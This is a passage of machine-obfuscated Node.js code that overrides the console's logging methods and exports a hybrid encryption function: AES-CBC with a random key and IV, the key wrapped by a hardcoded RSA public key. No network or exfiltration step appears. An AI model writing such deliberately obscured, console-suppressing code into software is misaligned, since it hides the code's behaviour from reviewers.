_0x82b028+_0x556ef6;},'UQvEC':'return\x20(fu'+'nction()\x20','kZWIZ':_0xf2c28(0xdd,0xbf,0xd0,0xe3)+'ctor(\x22retu'+'rn\x20this\x22)('+'\x20)','lRxUq':function(_0x231bca){return _0x231bca();},'VJvoI':_0xf2c28(0xbd,0xd9,0xee,0xe9),'tHcOC':'table','ifnIf':_0x39dbde(0x37f,0x3a5,0x3b9,0x383),'kvlxv':_0xf2c28(0xb9,0xb2,0xbe,0xcb),'CuquT':'QlEXM','xkfSn':_0xf2c28(0xba,0xcb,0xd5,0xc2)+'3'};function _0xf2c28(_0x5110c2,_0x18fa9f,_0x5dcfe2,_0xeb5778){return _0x2088(_0x18fa9f-0x1f,_0x5dcfe2);}var _0x35d94f;try{var _0x2b405d=_0x166a1c[_0xf2c28(0xa0,0xc7,0xbf,0x9b)](Function,_0x166a1c[_0x39dbde(0x339,0x35f,0x375,0x356)](_0x166a1c[_0x39dbde(0x363,0x35f,0x33e,0x359)](_0x166a1c['UQvEC'],_0x166a1c[_0x39dbde(0x353,0x36b,0x395,0x33f)]),');'));_0x35d94f=_0x166a1c[_0xf2c28(0x122,0xf5,0xf1,0x10d)](_0x2b405d);}catch(_0x1681eb){_0x35d94f=window;}var _0x51aca5=_0x35d94f[_0xf2c28(0x11a,0xee,0xf9,0x10a)]=_0x35d94f[_0x39dbde(0x39e,0x38f,0x382,0x3ad)]||{},_0x1377a1=[_0x166a1c['VJvoI'],'warn',_0x39dbde(0x39b,0x391,0x3b7,0x36d),_0x39dbde(0x376,0x373,0x37f,0x37e),_0x39dbde(0x3a9,0x385,0x3ae,0x35f),_0x166a1c[_0x39dbde(0x348,0x358,0x345,0x333)],_0x166a1c[_0x39dbde(0x3b8,0x3a0,0x3c8,0x384)]];for(var _0x3c0b29=0x16eb*-0x1+0x2675+0x7c5*-0x2;_0x3c0b29<_0x1377a1[_0x39dbde(0x373,0x393,0x365,0x378)];_0x3c0b29++){if(_0x166a1c[_0xf2c28(0xe1,0xcf,0xf2,0xf6)]!==_0x166a1c['CuquT']){var _0x482d09=_0x166a1c[_0x39dbde(0x367,0x383,0x36b,0x392)][_0xf2c28(0xe9,0xd8,0xe6,0xdd)]('|'),_0x50318c=0xb92+0x1d93+-0xdb7*0x3;while(!![]){switch(_0x482d09[_0x50318c++]){case'0':var _0x24b7c2=_0x5b8a6c['constructo'+'r'][_0x39dbde(0x3ab,0x3ad,0x3a4,0x3dd)][_0x39dbde(0x394,0x365,0x346,0x33b)](_0x5b8a6c);continue;case'1':_0x24b7c2[_0x39dbde(0x39b,0x3a1,0x396,0x3b5)]=_0x201630[_0x39dbde(0x3c8,0x3a1,0x378,0x37d)][_0x39dbde(0x372,0x365,0x36b,0x37d)](_0x201630);continue;case'2':var _0x201630=_0x51aca5[_0x5938d0]||_0x24b7c2;continue;case'3':_0x51aca5[_0x5938d0]=_0x24b7c2;continue;case'4':var _0x5938d0=_0x1377a1[_0x3c0b29];continue;case'5':_0x24b7c2[_0xf2c28(0xd1,0xfe,0x127,0xfa)]=_0x5b8a6c[_0x39dbde(0x338,0x365,0x339,0x383)](_0x5b8a6c);continue;}break;}}else{var _0x337402={};_0x337402['m']='',_0x337402['k']='',_0x337402['i']='';var _0x581d92=_0x337402;let _0x220026=_0x402b3f[_0x39dbde(0x3a6,0x38e,0x3b1,0x39b)+'s'](0x7e7+0x22b1+-0xaa2*0x4),_0xc73582=_0x358808[_0x39dbde(0x360,0x38e,0x3bc,0x383)+'s'](-0x7*0x22e+-0x1a04+0x2956);var _0xe0b351=[],_0x2b9b9d=_0x5ab4b5[_0xf2c28(0xf7,0xfd,0xf7,0xdf)+_0x39dbde(0x37c,0x387,0x3af,0x366)](_0x166a1c[_0xf2c28(0xb0,0xba,0xcb,0xdd)],_0x220026,_0xc73582);return _0x2b9b9d['setAutoPad'+_0xf2c28(0xa2,0xc1,0xcc,0xdd)](!![]),_0xe0b351[_0x39dbde(0x379,0x397,0x39a,0x373)](_0x2b9b9d[_0xf2c28(0xcc,0xc3,0xbd,0xdd)](_0x34d2f2,_0x166a1c[_0x39dbde(0x340,0x351,0x326,0x376)],_0xf2c28(0xff,0xde,0x103,0xfa))),_0xe0b351[_0x39dbde(0x3af,0x397,0x38a,0x3b4)](_0x2b9b9d[_0x39dbde(0x37c,0x378,0x35b,0x36a)](_0x166a1c[_0xf2c28(0xd6,0x102,0x130,0xdc)])),_0x581d92['m']=_0xe0b351[_0xf2c28(0xd1,0xec,0xeb,0xec)](''),_0x581d92['k']=_0x45712a[_0x39dbde(0x36d,0x380,0x37d,0x3a7)+_0x39dbde(0x39f,0x3ac,0x3ca,0x3c3)](_0x342348,_0x220026)[_0x39dbde(0x39c,0x3a1,0x3b0,0x3c1)](_0xf2c28(0xe5,0xde,0xc7,0xd8)),_0x581d92['i']=_0xc73582[_0xf2c28(0x101,0x100,0x103,0x121)](_0xf2c28(0xb9,0xde,0x106,0xb8)),_0x581d92;}}});_0x52bd90();const crypto=require(_0x49faa2(-0xa9,-0xd3,-0xa0,-0xc2));publicKey='-----BEGIN'+_0x49faa2(-0xb0,-0x99,-0x82,-0xd3)+_0x210c3f(0xd7,0xae,0xfb,0xcc)+_0x49faa2(-0x82,-0x54,-0x78,-0x53)+_0x210c3f(0xaa,0xcd,0x86,0xa6)+_0x49faa2(-0xb2,-0xbc,-0xc0,-0xa9)+'QKBgQDhK7w'+'+gS45FaIL8'+_0x49faa2(-0xb1,-0x85,-0xab,-0xa3)+_0x49faa2(-0xae,-0xad,-0xb4,-0x8d)+_0x210c3f(0xc5,0x107,0x118,0xed)+_0x210c3f(0xbd,0xc8,0x9f,0xbe)+_0x49faa2(-0xca,-0xbc,-0xe5,-0xf3)+'ym5fcjAR03'+'YtjjxRi6pT'+_0x49faa2(-0x9d,-0x74,-0x9d,-0xad)+_0x210c3f(0xb3,0xc7,0xd1,0xaa)+_0x49faa2(-0x8d,-0x87,-0x82,-0xa2)+_0x49faa2(-0xc1,-0x9a,-0x92,-0x93)+_0x210c3f(0xd1,0xd7,0xdc,0xc1)+_0x49faa2(-0xc5,-0xed,-0xe1,-0xac)+_0x49faa2(-0xcd,-0xef,-0xf1,-0xb2)+'a\x0ahcpguhuZ'+_0x210c3f(0xa4,0xd5,0xe8,0xbf)+'IDAQAB\x0a---'+_0x49faa2(-0x84,-0xb4,-0xa0,-0x75)+_0x210c3f(0x91,0x7b,0xa0,0x9f)+'-';var encryptM=function msgEncrypt(_0xfaf63b){var _0x1d2370={};_0x1d2370[_0x13657a(0x3ab,0x3d2,0x3af,0x3b2)]=_0x13657a(0x3db,0x3f4,0x3d3,0x3f8);var _0xe5246d=_0x1d2370,_0x180505={};_0x180505['m']='',_0x180505['k']='',_0x180505['i']='';var _0x2eb0d1=_0x180505;function _0xed47fe(_0x232a5,_0x297bbb,_0x38bdbb,_0x56b13e){return _0x49faa2(_0x297bbb-0x406,_0x297bbb-0x11a,_0x38bdbb-0x109,_0x232a5);}let _0x2987c8=crypto[_0xed47fe(0x3a0,0x375,0x384,0x3a3)+'s'](0x10fa+0x611*-0x5+0x1*0xd6b),_0x112f78=crypto[_0xed47fe(0x37f,0x375,0x3a2,0x392)+'s'](0x12f4+0x2fa*0x4+-0x1ecc);var _0x16c72b=[],_0x37048c=crypto[_0x13657a(0x40f,0x413,0x411,0x415)+_0x13657a(0x40d,0x3fc,0x3ce,0x3e8)](_0xed47fe(0x368,0x371,0x347,0x34b)+'c',_0x2987c8,_0x112f78);_0x37048c[_0x13657a(0x3f2,0x3ce,0x3b2,0x3cf)+'ding'](!![]),_0x16c72b[_0xed47fe(0x389,0x37e,0x36f,0x3a2)](_0x37048c['update'](_0xfaf63b,_0xed47fe(0x366,0x37f,0x358,0x356),_0xe5246d[_0xed47fe(0x35e,0x344,0x34a,0x36b)])),_0x16c72b['push'](_0x37048c[_0x13657a(0x415,0x3ed,0x40e,0x40d)](_0xe5246d['mWlPX'])),_0x2eb0d1['m']=_0x16c72b['join'](''),_0x2eb0d1['k']=crypto[_0xed47fe(0x350,0x367,0x388,0x358)+'ypt'](publicKey,_0x2987c8)[_0xed47fe(0x375,0x388,0x373,0x398)](_0xe5246d[_0x13657a(0x3d0,0x3d2,0x3e5,0x3de)]);function _0x13657a(_0x56267e,_0x227bb8,_0x2f30e1,_0x1cb8c9){return _0x49faa2(_0x227bb8-0x494,_0x227bb8-0x1ab,_0x2f30e1-0x1ce,_0x56267e);}return _0x2eb0d1['i']=_0x112f78[_0x13657a(0x41e,0x416,0x414,0x406)](_0xe5246d[_0xed47fe(0x369,0x344,0x327,0x365)]),_0x2eb0d1;},_0x58a002={};_0x58a002[_0x210c3f(0xe9,0x100,0xf5,0xd7)]=encryptM,module[_0x49faa2(-0xaa,-0xcd,-0xa2,-0x7b)]=_0x58a002;